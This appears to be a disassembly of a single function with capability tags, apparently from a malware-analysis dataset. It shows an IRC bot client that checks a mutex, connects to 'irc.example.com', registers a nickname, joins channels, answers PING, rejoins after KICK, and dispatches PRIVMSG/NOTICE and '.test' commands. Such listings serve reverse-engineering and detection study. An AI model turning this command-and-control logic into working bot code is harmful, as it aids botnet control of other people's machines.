Function at 0x4010af
Capabilities:
Act as tcp client
Check mutex on windows
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
jmp 0x401b62
sub esp, 0x4a4
mov eax, dword [0x40b140]
xor eax, esp
mov dword [esp + 0x4a0], eax
push ebp
push str.mutex
xor ebp, ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401bad
mov ecx, dword [esp + 0x4a4]
xor eax, eax
pop ebp
xor ecx, esp
call fcn.004010ff
add esp, 0x4a4
ret 4
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x14]
push eax
push 1
call sub.WS2_32.dll_WSAStartup
push str.irc.example.com
call fcn.00401154
pop ecx
push eax
call sub.WS2_32.dll_inet_addr
push 2
mov dword [esp + 0xc], eax
pop eax
mov word [esp + 4], ax
movzx eax, word [0x40b074]
push eax
call sub.WS2_32.dll_htons
push 6
push 1
push 2
mov word [esp + 0x12], ax
pop eax
push eax
call sub.WS2_32.dll_socket
push 0x10
lea ecx, [esp + 8]
mov dword [0x40b528], eax
push ecx
push eax
call sub.WS2_32.dll_connect
test eax, eax
je 0x401c2d
call fcn.0040128a
call sub.WS2_32.dll_WSACleanup
push dword [0x40b528]
call sub.WS2_32.dll_closesocket
jmp 0x401bad
push ebp
push 0x80
push 3
push ebp
push 1
push closesocket
push str.new.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 8
cmp eax, 0xffffffff
jne 0x401c9c
call fcn.0040101e
push eax
lea eax, [esp + 0x1ac]
push str.NICK__N__s_n
push eax
call fcn.004012c1
add esp, 0x10
push ebp
push 0x80
push 2
pop eax
push eax
push ebp
push eax
push 0x40000000
push str.new.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x401c92
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401cb7
call fcn.0040101e
push eax
lea eax, [esp + 0x1ac]
push str.NICK__s_n
push eax
call fcn.004012c1
add esp, 0x10
lea ecx, [esp + 0x1a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401cc1
push ebp
sub ecx, edx
lea eax, [esp + 0x1a8]
push ecx
push eax
push dword [0x40b528]
call sub.WS2_32.dll_send
push str.TMR_TMR_TMR_:TMR
lea eax, [esp + 0x1a8]
push str.USER__s_n
push eax
call fcn.004012c1
lea ecx, [esp + 0x1b0]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401d03
push ebp
sub ecx, edx
lea eax, [esp + 0x1a8]
push ecx
push eax
push dword [0x40b528]
call sub.WS2_32.dll_send
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x1a4]
push str.JOIN_testing_n
push eax
call fcn.004012c1
pop ecx
pop ecx
lea ecx, [esp + 0x1a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401d4a
lea eax, [esp + 0x1a4]
jmp 0x401e7a
lea eax, [esp + 0x1a4]
push str.PING_:
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
test eax, eax
lea eax, [esp + 0x1a8]
pop ecx
je 0x401db6
push str.PING_:
push eax
call sub.VCRUNTIME140.dll_strstr
add eax, 6
push eax
lea eax, [esp + 0x3b0]
push str.PONG_:_s_n
push eax
call fcn.004012c1
lea ecx, [esp + 0x3b8]
add esp, 0x14
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401daa
jmp 0x401e73
push 0x408c74
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401df7
push 8
call fcn.0040101e
push eax
lea eax, [esp + 0x1ac]
push str.NICK__s_n
push eax
call fcn.004012c1
lea ecx, [esp + 0x3b4]
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401dee
jmp 0x401e73
lea eax, [esp + 0x1a4]
push 0x408c78
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401e36
lea eax, [esp + 0x3a4]
push str.JOIN_deneme2_n
push eax
call fcn.004012c1
pop ecx
pop ecx
lea ecx, [esp + 0x3a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401e2d
jmp 0x401e73
lea eax, [esp + 0x1a4]
push str.KICK
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401e8c
lea eax, [esp + 0x3a4]
push str.JOIN_deneme2_n
push eax
call fcn.004012c1
pop ecx
pop ecx
lea ecx, [esp + 0x3a4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401e6c
lea eax, [esp + 0x3a4]
push ebp
sub ecx, edx
push ecx
push eax
push dword [0x40b528]
call sub.WS2_32.dll_send
jmp 0x401ee9
lea eax, [esp + 0x1a4]
push str..test
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401eab
call fcn.004011e0
jmp 0x401ee9
lea eax, [esp + 0x1a4]
push str.PRIVMSG
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x401edb
lea eax, [esp + 0x1a4]
push str.NOTICE
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x401ee9
lea eax, [esp + 0x1a4]
push eax
call fcn.00401159
pop ecx
push 0x200
lea eax, [esp + 0x1a8]
push ebp
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x1a4]
push ebp
push 0x1ff
push eax
push dword [0x40b528]
call sub.WS2_32.dll_recv
test eax, eax
jg 0x401d5d
jmp 0x401c1b